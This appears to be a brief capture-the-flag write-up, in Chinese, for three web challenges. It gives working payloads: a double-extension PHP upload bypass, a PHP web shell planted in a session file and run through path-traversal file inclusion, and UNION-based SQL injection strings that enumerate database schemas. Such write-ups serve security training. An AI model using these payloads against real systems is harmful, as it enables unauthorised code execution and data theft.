1. sh3ll\_upload3r

因為是檢查副檔名 所以命名為tmp.php.ksdklg 後面亂打會往前找到認識的為止去解析 然後就會做為php檔執行

1. EzLFI

可以控制session parameter

所以先傳user=<?php system(\_GET[b]) ?>

Session file 理面就會有一段php code

按f12 在console 打 document.cookie可以找到session id

可以在/var/lib/php/session/session\_{sessionid} 找到session file

?action=module&m=../../../../../var/lib/php/session/session\_{sessionid} 去 include他

就會執行剛剛放到session file的php code

?action=module&m=../../../../../var/lib/php/session/session\_{sessionid}&b=ls /

在後面加上system參數 就可以去找flag

1. EasyPeasy

Sql injection

Id=-1 union select 1,schema\_name,3 from information\_schema.schemeta

加上limit offset,1 去iterate

Id=-1 union select 1,table\_name,3 from information\_schema.tables WHERE table\_schema='fl4g'

Id=-1 union select 1,column\_name,3 from information\_schema.columns WHERE table\_name='secret'